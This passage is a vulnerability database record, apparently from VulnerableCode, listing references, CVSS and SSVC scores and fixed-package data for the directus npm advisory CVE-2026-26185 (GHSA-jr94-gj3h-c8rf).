scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-13T15:58:57Z/
url https://github.com/directus/directus/commit/e69aa7a5248c6e3e822cb1ac354dee295df90b2a
3
reference_url https://github.com/directus/directus/pull/26485
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-13T15:58:57Z/
url https://github.com/directus/directus/pull/26485
4
reference_url https://github.com/directus/directus/releases/tag/v11.14.1
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-13T15:58:57Z/
url https://github.com/directus/directus/releases/tag/v11.14.1
5
reference_url https://github.com/directus/directus/security/advisories/GHSA-jr94-gj3h-c8rf
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-13T15:58:57Z/
url https://github.com/directus/directus/security/advisories/GHSA-jr94-gj3h-c8rf
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-26185
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-26185
7
reference_url https://github.com/advisories/GHSA-jr94-gj3h-c8rf
reference_id GHSA-jr94-gj3h-c8rf
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-jr94-gj3h-c8rf
fixed_packages
0
url pkg:npm/directus@11.14.1
purl pkg:npm/directus@11.14.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-6ggp-xn4c-gya3
2
vulnerability VCID-6mr6-u3vk-sygm
3
vulnerability VCID-bwww-3wep-2ydf
4
vulnerability VCID-exwx-sqry-c3gc
5
vulnerability VCID-hv63-3zhy-dyae
6
vulnerability VCID-n9br-39bb-7ugt
7
vulnerability VCID-rq5y-ee4h-gkff
8
vulnerability VCID-trbn-m8sj-ffa4
9
vulnerability VCID-wcaq-4zzz-qfb7
10
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.14.1
aliases CVE-2026-26185, GHSA-jr94-gj3h-c8rf
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-zjtb-sh5z-h3gg
Fixing_vulnerabilities
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/directus@10.7.0-beta.0